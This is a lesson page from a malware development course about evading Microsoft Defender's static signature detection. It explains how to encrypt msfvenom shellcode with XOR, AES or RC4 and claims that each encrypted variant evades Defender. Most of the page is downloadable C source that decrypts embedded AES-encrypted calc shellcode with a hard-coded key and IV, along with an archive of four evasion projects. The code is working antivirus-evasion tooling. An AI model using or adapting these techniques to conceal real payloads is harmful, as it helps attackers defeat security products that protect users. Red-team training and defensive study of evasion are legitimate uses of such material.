MalDev Study
Core Module 20beginner13 code files

Evading Microsoft Defender Static Analysis

Using encryption methods to bypass Microsoft Defender's static analysis engine.

Jump to Section (6)

Learning Objectives

0/2 done

Introduction

This module provides an example using XOR, RC4, and AES encryption algorithms to bypass Microsoft Defender's static analysis engine. At this point of the modules, the payload is not being executed, rather it's simply being printed to the console. Therefore, this module will be focusing specifically on static/signature evasion.

Code Samples

There are 4 code samples available for download that this module uses. Each of the code samples is using a Msfvenom shellcode.

  1. Raw Shellcode - Detected by Defender

  2. XOR Encrypted Shellcode - Evades Defender successfully

  3. AES Encrypted Shellcode - Evades Defender successfully

  4. RC4 Encrypted Shellcode - Evades Defender successfully

The sections below show the binaries being executed and Microsoft Defender's response.

Raw Shellcode

image

XOR Encryption

image

AES Encryption

image

RC4 Encryption

image

Diagram

Companion Project & Source Code

13 readable source/config files extracted directly from the archive

Download 20.WinDef.zip
8.3 KB
// @NUL0x4C | @mrd0x : MalDevAcademy

#include <Windows.h>
#include <stdio.h>
#include <bcrypt.h>

#pragma comment(lib, "Bcrypt.lib")



#define NT_SUCCESS(status)	        (((NTSTATUS)(status)) >= 0)

#define KEYSIZE				32
#define IVSIZE				16


typedef struct _AES {

	PBYTE	pPlainText;			// Base address of the plaintext data 
	DWORD	dwPlainSize;			// Size of the plaintext data

	PBYTE	pCipherText;			// Base address of the encrypted data	
	DWORD	dwCipherSize;			// Size of it (this can change from dwPlainSize in case there was padding)

	PBYTE	pKey;				// The 32 byte key
	PBYTE	pIv;				// The 16 byte IV

}AES, * PAES;



// generate random bytes of size sSize
VOID GenerateRandomBytes(PBYTE pByte, SIZE_T sSize) {

	for (int i = 0; i < sSize; i++) {
		pByte[i] = (BYTE)rand() % 0xFF;
	}

}


// print the input buffer as a hex char array
VOID PrintHexData(LPCSTR Name, PBYTE Data, SIZE_T Size) {

	printf("unsigned char %s[] = {", Name);

	for (int i = 0; i < Size; i++) {
		if (i % 16 == 0) {
			printf("\n\t");
		}
		if (i < Size - 1) {
			printf("0x%0.2X, ", Data[i]);
		}
		else {
			printf("0x%0.2X ", Data[i]);
		}
	}

	printf("};\n\n\n");

}



// the decryption implementation
BOOL InstallAesDecryption(PAES pAes) {

	BOOL				bSTATE = TRUE;

	BCRYPT_ALG_HANDLE		hAlgorithm = NULL;
	BCRYPT_KEY_HANDLE		hKeyHandle = NULL;

	ULONG				cbResult = NULL;
	DWORD				dwBlockSize = NULL;
	DWORD				cbKeyObject = NULL;
	PBYTE				pbKeyObject = NULL;

	PBYTE				pbPlainText = NULL;
	DWORD				cbPlainText = NULL,

	// Intializing "hAlgorithm" as AES algorithm Handle
	STATUS = BCryptOpenAlgorithmProvider(&hAlgorithm, BCRYPT_AES_ALGORITHM, NULL, 0);
	if (!NT_SUCCESS(STATUS)) {
		printf("[!] BCryptOpenAlgorithmProvider Failed With Error: 0x%0.8X \n", STATUS);
		bSTATE = FALSE; goto _EndOfFunc;
	}

	// Getting the size of the key object variable pbKeyObject. This is used by the BCryptGenerateSymmetricKey function later 
	STATUS = BCryptGetProperty(hAlgorithm, BCRYPT_OBJECT_LENGTH, (PBYTE)&cbKeyObject, sizeof(DWORD), &cbResult, 0);
	if (!NT_SUCCESS(STATUS)) {
		printf("[!] BCryptGetProperty[1] Failed With Error: 0x%0.8X \n", STATUS);
		bSTATE = FALSE; goto _EndOfFunc;
	}
	
	// Getting the size of the block used in the encryption. Since this is AES it must be 16 bytes.
	STATUS = BCryptGetProperty(hAlgorithm, BCRYPT_BLOCK_LENGTH, (PBYTE)&dwBlockSize, sizeof(DWORD), &cbResult, 0);
	if (!NT_SUCCESS(STATUS)) {
		printf("[!] BCryptGetProperty[2] Failed With Error: 0x%0.8X \n", STATUS);
		bSTATE = FALSE; goto _EndOfFunc;
	}
	// Checking if block size is 16 bytes
	if (dwBlockSize != 16) {
		bSTATE = FALSE; goto _EndOfFunc;
	}
	// Allocating memory for the key object 
	pbKeyObject = (PBYTE)HeapAlloc(GetProcessHeap(), 0, cbKeyObject);
	if (pbKeyObject == NULL) {
		bSTATE = FALSE; goto _EndOfFunc;
	}
	// Setting Block Cipher Mode to CBC. This uses a 32 byte key and 16 byte IV.
	STATUS = BCryptSetProperty(hAlgorithm, BCRYPT_CHAINING_MODE, (PBYTE)BCRYPT_CHAIN_MODE_CBC, sizeof(BCRYPT_CHAIN_MODE_CBC), 0);
	if (!NT_SUCCESS(STATUS)) {
		printf("[!] BCryptSetProperty Failed With Error: 0x%0.8X \n", STATUS);
		bSTATE = FALSE; goto _EndOfFunc;
	}
	// Generating the key object from the AES key "pAes->pKey". The output will be saved in pbKeyObject of size cbKeyObject
	STATUS = BCryptGenerateSymmetricKey(hAlgorithm, &hKeyHandle, pbKeyObject, cbKeyObject, (PBYTE)pAes->pKey, KEYSIZE, 0);
	if (!NT_SUCCESS(STATUS)) {
		printf("[!] BCryptGenerateSymmetricKey Failed With Error: 0x%0.8X \n", STATUS);
		bSTATE = FALSE; goto _EndOfFunc;
	}
	// Running BCryptDecrypt first time with NULL output parameters to retrieve the size of the output buffer which is saved in cbPlainText
	STATUS = BCryptDecrypt(hKeyHandle, (PUCHAR)pAes->pCipherText, (ULONG)pAes->dwCipherSize, NULL, pAes->pIv, IVSIZE, NULL, 0, &cbPlainText, BCRYPT_BLOCK_PADDING);
	if (!NT_SUCCESS(STATUS)) {
		printf("[!] BCryptDecrypt[1] Failed With Error: 0x%0.8X \n", STATUS);
		bSTATE = FALSE; goto _EndOfFunc;
	}
	// Allocating enough memory for the output buffer, cbPlainText
	pbPlainText = (PBYTE)HeapAlloc(GetProcessHeap(), 0, cbPlainText);
	if (pbPlainText == NULL) {
		bSTATE = FALSE; goto _EndOfFunc;
	}
	// Running BCryptDecrypt again with pbPlainText as the output buffer
	STATUS = BCryptDecrypt(hKeyHandle, (PUCHAR)pAes->pCipherText, (ULONG)pAes->dwCipherSize, NULL, pAes->pIv, IVSIZE, pbPlainText, cbPlainText, &cbResult, BCRYPT_BLOCK_PADDING);
	if (!NT_SUCCESS(STATUS)) {
		printf("[!] BCryptDecrypt[2] Failed With Error: 0x%0.8X \n", STATUS);
		bSTATE = FALSE; goto _EndOfFunc;
	}

	// Clean up
_EndOfFunc:
	if (hKeyHandle) {
		BCryptDestroyKey(hKeyHandle);
	}
	if (hAlgorithm) {
		BCryptCloseAlgorithmProvider(hAlgorithm, 0);
	}
	if (pbKeyObject) {
		HeapFree(GetProcessHeap(), 0, pbKeyObject);
	}
	if (pbPlainText != NULL && bSTATE) {
		// if everything went well, we save pbPlainText and cbPlainText
		pAes->pPlainText = pbPlainText;
		pAes->dwPlainSize = cbPlainText;
	}
	return bSTATE;

}




// Wrapper function for InstallAesDecryption that makes things easier
BOOL SimpleDecryption(IN PVOID pCipherTextData, IN DWORD sCipherTextSize, IN PBYTE pKey, IN PBYTE pIv, OUT PVOID* pPlainTextData, OUT DWORD* sPlainTextSize) {

	if (pCipherTextData == NULL || sCipherTextSize == NULL || pKey == NULL || pIv == NULL)
		return FALSE;

	// intializing the struct
	AES Aes = {
		.pKey = pKey,
		.pIv = pIv,
		.pCipherText = pCipherTextData,
		.dwCipherSize = sCipherTextSize
	};

	if (!InstallAesDecryption(&Aes)) {
		return FALSE;
	}

	// saving output
	*pPlainTextData = Aes.pPlainText;
	*sPlainTextSize = Aes.dwPlainSize;

	return TRUE;
}



// The key printed to the screen
unsigned char pKey[] = {
		0x49, 0x08, 0x28, 0x61, 0xDA, 0x33, 0x4D, 0x3C, 0xAC, 0xD7, 0x51, 0x9F, 0x75, 0xE4, 0x35, 0x16,
		0xE4, 0x5C, 0xBF, 0xE2, 0x84, 0xAC, 0x7A, 0xEF, 0xE4, 0x3C, 0xFE, 0x06, 0xF5, 0x45, 0x71, 0x44 };

// The IV printed to the screen
unsigned char pIv[] = {
		0x31, 0x09, 0xAC, 0x30, 0x88, 0x41, 0x85, 0x5F, 0x0F, 0xB7, 0x4C, 0xD6, 0x89, 0xE9, 0x11, 0xB2 };

// Encrypted x64 calc shellcode 
unsigned char EncShellcode[] = {
		0xE1, 0x2E, 0x25, 0xC7, 0x06,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, 0xBF, 0xB5, 0x1D, 0x37, 0xF7, 0x14, 0xE8,
		0x81, 0xA5, 0x84, 0xB3, 0x21, 0x68, 0xA8, 0x36, 0x59, 0xC2, 0xAB, 0x4E, 0x7C, 0x27, 0x04, 0xD6,
		0x8B, 0xC9, 0xF4, 0x55, 0x35, 0x06, 0x57, 0x2C, 0x49, 0xE1, 0xEA, 0x64, 0x7A, 0x25, 0x8E, 0x52,
		0xC5, 0x18, 0xCE, 0x98, 0x4F, 0xBE, 0xE0, 0xF4, 0xE0, 0xB0, 0xC5, 0x5C, 0x3C, 0x16, 0x93, 0x25,
		0x08, 0xD7, 0x10, 0x46, 0xCA, 0xE0, 0xD0, 0xB1, 0xF6, 0xD1, 0x39, 0x5C, 0x1E, 0x84, 0x00, 0x76,
		0x59, 0xF1, 0xA0, 0x86, 0xB3, 0x01, 0x6D, 0x27, 0xD1, 0x88, 0xCE, 0xA5, 0x1F, 0x03, 0x57, 0xB7,
		0x9F, 0x1E, 0xA2, 0xFD, 0x00, 0x75, 0x6E, 0x8A, 0xC2, 0xC8, 0xC5, 0x69, 0xDA, 0xA0, 0x7C, 0xDC };



int main() {

	// Defining two variables that will be used in SimpleDecryption (the output buffer and its size)
	PVOID	pPlaintext = NULL;
	DWORD	dwPlainSize = NULL;


	// Printing the address of our shellcode
	printf("[i] shellcode : 0x%p \n", EncShellcode);
	printf("[#] Press <Enter> To Decrypt ...");
	getchar();


	// Decryption
	if (!SimpleDecryption(EncShellcode, sizeof(EncShellcode), pKey, pIv, &pPlaintext, &dwPlainSize)) {
		return -1;
	}

	// Printing the decrypted buffer
	PrintHexData("Shellcode", pPlaintext, dwPlainSize);


	// Freeing
	HeapFree(GetProcessHeap(), 0, pPlaintext);
	printf("[#] Press <Enter> To Quit ...");
	getchar();
	return 0;
}


Full Archive Manifest (17 files inside .zip)
  • WinDef/AesEncShellcode/AesEncShellcode.c
  • WinDef/AesEncShellcode/AesEncShellcode.vcxproj
  • WinDef/AesEncShellcode/AesEncShellcode.vcxproj.filters
  • WinDef/AesEncShellcode/AesEncShellcode.vcxproj.user
  • WinDef/Rc4EncShellcode/Rc4EncShellcode.c
  • WinDef/Rc4EncShellcode/Rc4EncShellcode.vcxproj
  • WinDef/Rc4EncShellcode/Rc4EncShellcode.vcxproj.filters
  • WinDef/Rc4EncShellcode/Rc4EncShellcode.vcxproj.user
  • WinDef/WinDef.sln
  • WinDef/WinDef/RawShellcode.c
  • WinDef/WinDef/WinDef.vcxproj
  • WinDef/WinDef/WinDef.vcxproj.filters
  • WinDef/WinDef/WinDef.vcxproj.user
  • WinDef/XorEncShellcode/XorEncShellcode.c
  • WinDef/XorEncShellcode/XorEncShellcode.vcxproj
  • WinDef/XorEncShellcode/XorEncShellcode.vcxproj.filters
  • WinDef/XorEncShellcode/XorEncShellcode.vcxproj.user

Search all modules and companion code

No matching modules or source files found for “”.
    Covers all 91 Core + 38 Advanced modules + source archives

    Reader Settings & Progress

    Color Theme

    Reading Font Size

    Study Progress & Cross-Device Backup

    0/129
    Completed
    0
    Bookmarked
    0
    Module Notes

    Progress is saved locally in your browser. Export a JSON backup to move your progress between laptop and phone.